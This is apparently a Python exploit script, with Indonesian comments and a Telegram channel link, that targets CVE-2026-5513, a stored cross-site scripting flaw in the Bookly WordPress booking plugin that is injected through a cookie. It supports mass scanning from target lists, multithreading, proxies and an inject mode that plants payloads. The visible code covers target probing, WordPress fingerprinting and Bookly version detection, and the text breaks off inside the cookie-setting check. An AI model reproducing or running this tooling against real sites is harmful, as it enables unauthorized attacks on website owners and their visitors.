#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ CVE-2026-5513 — Bookly <= 27.2 Stored XSS via Cookie ===================================================== Plugin : Online Scheduling and Appointment Booking System – Bookly Versi : <= 27.2 CVSS : 7.2 (High) Patch : 27.3+ Vector : bookly-customer-full-name cookie (Stored XSS) Prereq : "Remember personal information in cookies" harus enabled https://t.me/FreeToolsCpa Penggunaan: # Single target — check only python CVE-2026-5513.py -u http://target.com # Single target — inject XSS payload python CVE-2026-5513.py -u http://target.com --inject # Multi target dari file + threading python CVE-2026-5513.py -l list.txt -t 20 # Custom payload python CVE-2026-5513.py -u http://target.com --inject --payload "" # Simpan hasil ke file python CVE-2026-5513.py -l list.txt -t 10 -o hasil.txt DISCLAIMER: https://t.me/FreeToolsCpa """ import argparse import os import queue import re import sys import threading import time from datetime import datetime from urllib.parse import urlparse, quote # ─────────── Dependency Check & Auto-Install ─────────── def _ensure_deps(): missing = [] try: import requests # noqa: F401 except ImportError: missing.append("requests") try: from colorama import Fore # noqa: F401 except ImportError: missing.append("colorama") if missing: print(f"[*] Installing missing modules: {', '.join(missing)} ...") import subprocess subprocess.check_call( [sys.executable, "-m", "pip", "install"] + missing + ["-q"] ) _ensure_deps() import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) from colorama import Fore, Style, init as colorama_init colorama_init(autoreset=True) # ─────────── Color Aliases ─────────── R = Fore.RED G = Fore.GREEN Y = Fore.YELLOW B = Fore.BLUE C = Fore.CYAN M = Fore.MAGENTA W = Fore.WHITE BD = Style.BRIGHT DM = Style.DIM RS = Style.RESET_ALL # ─────────── Global State ─────────── print_lock = threading.Lock() results_lock = threading.Lock() stats = {"total": 0, "done": 0, "vuln": 0, "safe": 0, "error": 0, "injected": 0} vuln_list = [] # ─────────── Constants ─────────── TIMEOUT = 15 UA = ("Mozilla/5.0 (Windows NT 10.0; Win64; x64) " "AppleWebKit/537.36 (KHTML, like Gecko) " "Chrome/120.0.0.0 Safari/537.36") COOKIE_NAME = "bookly-customer-full-name" DEFAULT_PAYLOAD = '' # XSS canary — unique string to detect reflection CANARY = "bkly5513xss" CANARY_PAYLOAD = f'"{CANARY}' # Pages yang biasa ada Bookly booking form BOOKLY_PATHS = [ "/", "/booking/", "/book/", "/book-appointment/", "/appointment/", "/appointments/", "/schedule/", "/reservasi/", "/jadwal/", "/pesan/", "/make-appointment/", "/book-now/", "/reserve/", "/consultation/", "/contact/", "/services/", ] # WordPress subdirectory paths (untuk bare IP) WP_SUBDIRS = [ "/", "/wp/", "/blog/", "/wordpress/", "/site/", "/cms/", "/web/", "/home/", ] # Common ports untuk probe bare IP COMMON_PORTS = [443, 80, 8443, 8080] # ─────────── Helpers ─────────── def banner(): print(f"""{C}{BD} ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ ██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗██████╔╝ ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚═════╝{RS} {Y}{BD} CVE-2026-5513{RS} {W} Bookly <= 27.2 — Stored XSS via Cookie (Unauthenticated) Vector : bookly-customer-full-name cookie https://t.me/FreeToolsCpa CVSS : {R}{BD}7.2 High{RS}{W} | CWE-79 | Prereq: cookie setting ON{RS} """) def cprint(color, prefix, msg, target=""): tag = f"{color}{BD}{prefix}{RS}" tgt = f" {DM}[{target}]{RS}" if target else "" with print_lock: print(f"{tag}{tgt} {msg}") def log_info(msg, t=""): cprint(B, "[*]", msg, t) def log_ok(msg, t=""): cprint(G, "[+]", msg, t) def log_warn(msg, t=""): cprint(Y, "[!]", msg, t) def log_error(msg, t=""): cprint(R, "[-]", msg, t) def log_vuln(msg, t=""): cprint(M, "[✓]", msg, t) def log_step(msg, t=""): cprint(C, "[»]", msg, t) def is_ip_address(host): """Check apakah host adalah IP address (v4).""" return bool(re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', host)) def normalize_url(url): """Normalize URL — handle bare IP, domain, port, scheme.""" url = url.strip() if not url: return None # strip trailing slashes, whitespace url = url.strip('/') # jika sudah ada scheme, return as-is if url.startswith(('http://', 'https://')): return url.rstrip('/') # bare IP atau domain tanpa scheme — simpan dulu, probe nanti # default ke http:// untuk IP, https:// untuk domain host = url.split('/')[0].split(':')[0] if is_ip_address(host): # bare IP → jangan tambah scheme dulu, biar probe_target yg handle return f'http://{url}' else: return f'https://{url}'.rstrip('/') def probe_target(raw_input, session, verbose=False): """ Probe bare IP / domain untuk menemukan base URL yang valid. - Detect redirect (IP → domain) - Cek Bookly readme.txt sebagai fast check - Return: dict with base_url, is_wordpress, redirected, redirect_domain, bookly_version """ short = raw_input.strip()[:45] raw = raw_input.strip().strip('/') result = { "base_url": None, "is_wordpress": False, "redirected": False, "redirect_domain": None, "bookly_version": None, "connected": False, } # extract host dan optional port if raw.startswith(('http://', 'https://')): parsed = urlparse(raw) host = parsed.hostname port = parsed.port schemes_ports = [(parsed.scheme, port or (443 if parsed.scheme == 'https' else 80))] else: host = raw.split('/')[0].split(':')[0] port_match = re.search(r':([0-9]+)', raw.split('/')[0]) if port_match: port = int(port_match.group(1)) schemes_ports = [('https', port), ('http', port)] else: port = None if is_ip_address(host): schemes_ports = [] for p in COMMON_PORTS: if p in (443, 8443): schemes_ports.append(('https', p)) else: schemes_ports.append(('http', p)) else: schemes_ports = [('https', 443), ('http', 80)] for scheme, p in schemes_ports: if (scheme == 'https' and p == 443) or (scheme == 'http' and p == 80): base = f"{scheme}://{host}" else: base = f"{scheme}://{host}:{p}" try: # ── Step A: Hit root, follow redirects ── r = session.get(base + '/', timeout=10, allow_redirects=True) if r.status_code >= 500: continue result["connected"] = True final_url = r.url.rstrip('/') # ── Step B: Detect redirect ke domain lain ── final_parsed = urlparse(final_url) final_host = final_parsed.hostname or '' original_is_ip = is_ip_address(host) if original_is_ip and final_host and not is_ip_address(final_host): # IP redirect ke domain! result["redirected"] = True result["redirect_domain"] = final_url.rstrip('/') redirected_base = f"{final_parsed.scheme}://{final_host}" if verbose: log_ok(f"IP {host} → redirect ke {redirected_base}", short) # Pakai domain hasil redirect sebagai base base = redirected_base elif original_is_ip and final_host and final_host != host: # redirect ke IP lain result["redirected"] = True result["redirect_domain"] = final_url.rstrip('/') base = final_url.rstrip('/') # ── Step C: Cek apakah WordPress ── body_lower = r.text.lower() is_wp = any(ind in body_lower for ind in [ 'wp-content', 'wp-includes', 'wordpress', 'wp-json', 'wp-login', '/xmlrpc.php' ]) if not is_wp: # fallback: cek wp-login.php try: r_login = session.get(f"{base}/wp-login.php", timeout=8) if r_login.status_code == 200 and 'wp-login' in r_login.text.lower(): is_wp = True except Exception: pass if is_wp: result["base_url"] = base result["is_wordpress"] = True if verbose: log_ok(f"WordPress confirmed → {base}", short) else: result["base_url"] = base # belum tentu WP, tapi masih connected # ── Step D: Fast check Bookly readme.txt ── readme_paths = [ "/wp-content/plugins/bookly-responsive-appointment-booking-tool/readme.txt", "/wp-content/plugins/bookly/readme.txt", ] for rp in readme_paths: try: r_readme = session.get(f"{base}{rp}", timeout=8) if r_readme.status_code == 200 and 'bookly' in r_readme.text.lower(): result["is_wordpress"] = True vm = re.search(r'Stable tag:\s*([0-9.]+)', r_readme.text, re.I) if vm: result["bookly_version"] = vm.group(1) if verbose: log_ok(f"Bookly readme.txt found! v{result['bookly_version']}", short) break except Exception: continue # kalau sudah dapat WP atau Bookly, return if result["is_wordpress"]: return result # ── Step E: Untuk bare IP tanpa WP di root, coba subdirectories ── if original_is_ip and not result["is_wordpress"]: for subdir in WP_SUBDIRS: if subdir == '/': continue try: r_sub = session.get(f"{base}{subdir}", timeout=8, allow_redirects=True) if r_sub.status_code < 500: sub_body = r_sub.text.lower() sub_wp = any(ind in sub_body for ind in [ 'wp-content', 'wp-includes', 'wordpress', 'wp-json' ]) if sub_wp: result["base_url"] = base + subdir.rstrip('/') result["is_wordpress"] = True if verbose: log_ok(f"WordPress found in subdir → {result['base_url']}", short) return result except Exception: continue # connected tapi belum tentu WP if result["connected"]: return result except Exception: continue return result def load_targets(filepath): if not os.path.isfile(filepath): log_error(f"File tidak ditemukan: {filepath}") sys.exit(1) targets = [] with open(filepath, 'r', encoding='utf-8', errors='ignore') as f: for line in f: raw = line.strip() if raw and not raw.startswith('#'): targets.append(raw) if not targets: log_error(f"Tidak ada target valid di {filepath}") sys.exit(1) return targets def make_session(proxy=None): s = requests.Session() s.headers.update({'User-Agent': UA}) s.verify = False if proxy: s.proxies = {'http': proxy, 'https': proxy} return s def print_progress(): done = stats["done"] total = stats["total"] pct = int((done / total) * 40) if total else 0 bar = f"{G}{'█' * pct}{DM}{'░' * (40 - pct)}{RS}" line = (f"\r {bar} {BD}{done}/{total}{RS}" f" {G}{BD}Vuln:{stats['vuln']}{RS}" f" {R}Safe:{stats['safe']}{RS}" f" {Y}Err:{stats['error']}{RS}" f" {M}Injected:{stats['injected']}{RS} ") with print_lock: sys.stdout.write(line) sys.stdout.flush() # ─────────── Step 1: Detect Bookly Plugin ─────────── def detect_bookly(session, base_url, short, verbose=False): """ Detect Bookly plugin and extract version. Returns: dict with detected, version, booking_pages """ info = { "detected": False, "version": None, "booking_pages": [], "cookie_setting": None, # unknown until we test } # Method 1: Check readme.txt for version readme_paths = [ "/wp-content/plugins/bookly-responsive-appointment-booking-tool/readme.txt", "/wp-content/plugins/bookly/readme.txt", ] for rp in readme_paths: try: r = session.get(f"{base_url}{rp}", timeout=TIMEOUT) if r.status_code == 200 and "bookly" in r.text.lower(): info["detected"] = True vm = re.search(r'Stable tag:\s*([0-9.]+)', r.text, re.IGNORECASE) if vm: info["version"] = vm.group(1) if verbose: log_ok(f"readme.txt found → v{info['version']}", short) break except Exception: continue # Method 2: Check plugin directory (403 = exists) if not info["detected"]: plugin_dirs = [ "/wp-content/plugins/bookly-responsive-appointment-booking-tool/", "/wp-content/plugins/bookly/", ] for pd in plugin_dirs: try: r = session.get(f"{base_url}{pd}", timeout=TIMEOUT) if r.status_code in [200, 403]: info["detected"] = True if verbose: log_ok(f"Plugin directory found ({r.status_code})", short) break except Exception: continue # Method 3: Check for Bookly assets in common pages if not info["detected"]: try: r = session.get(base_url, timeout=TIMEOUT) if r.status_code == 200: body = r.text if any(ind in body for ind in [ 'bookly-responsive-appointment-booking-tool', 'bookly-booking-form', 'bookly-form', 'var BooklyL10n', 'bookly-js', ]): info["detected"] = True if verbose: log_ok("Bookly detected via homepage assets", short) except Exception: pass # Method 4: Detect via CSS/JS version if info["detected"] and not info["version"]: try: r = session.get(base_url, timeout=TIMEOUT) vm = re.search( r'bookly-responsive-appointment-booking-tool[^"\']*\?ver=([0-9.]+)', r.text ) if vm: info["version"] = vm.group(1) except Exception: pass # Find pages with Bookly booking forms for path in BOOKLY_PATHS: try: r = session.get(f"{base_url}{path}", timeout=TIMEOUT, allow_redirects=True) if r.status_code == 200: body = r.text bookly_indicators = [ 'bookly-form', 'bookly-booking', 'BooklyL10n', 'bookly_appointment', 'data-bookly', 'bookly-js', 'class="bookly', 'id="bookly', ] if any(ind in body for ind in bookly_indicators): info["booking_pages"].append(path) info["detected"] = True if verbose: log_info(f"Booking form found at {path}", short) except Exception: continue return info # ─────────── Step 2: Check Cookie Setting + Reflection ─────────── def check_cookie_setting(session, base_url, booking_pages, short, verbose=False): """ Check if "Remember personal information in cookies" is enabled. Bookly passes this setting via wp_localize_script into BooklyL10n JS object. When enabled, the frontend JS reads/writes bookly-customer-* cookies and the values get rendered into the booking form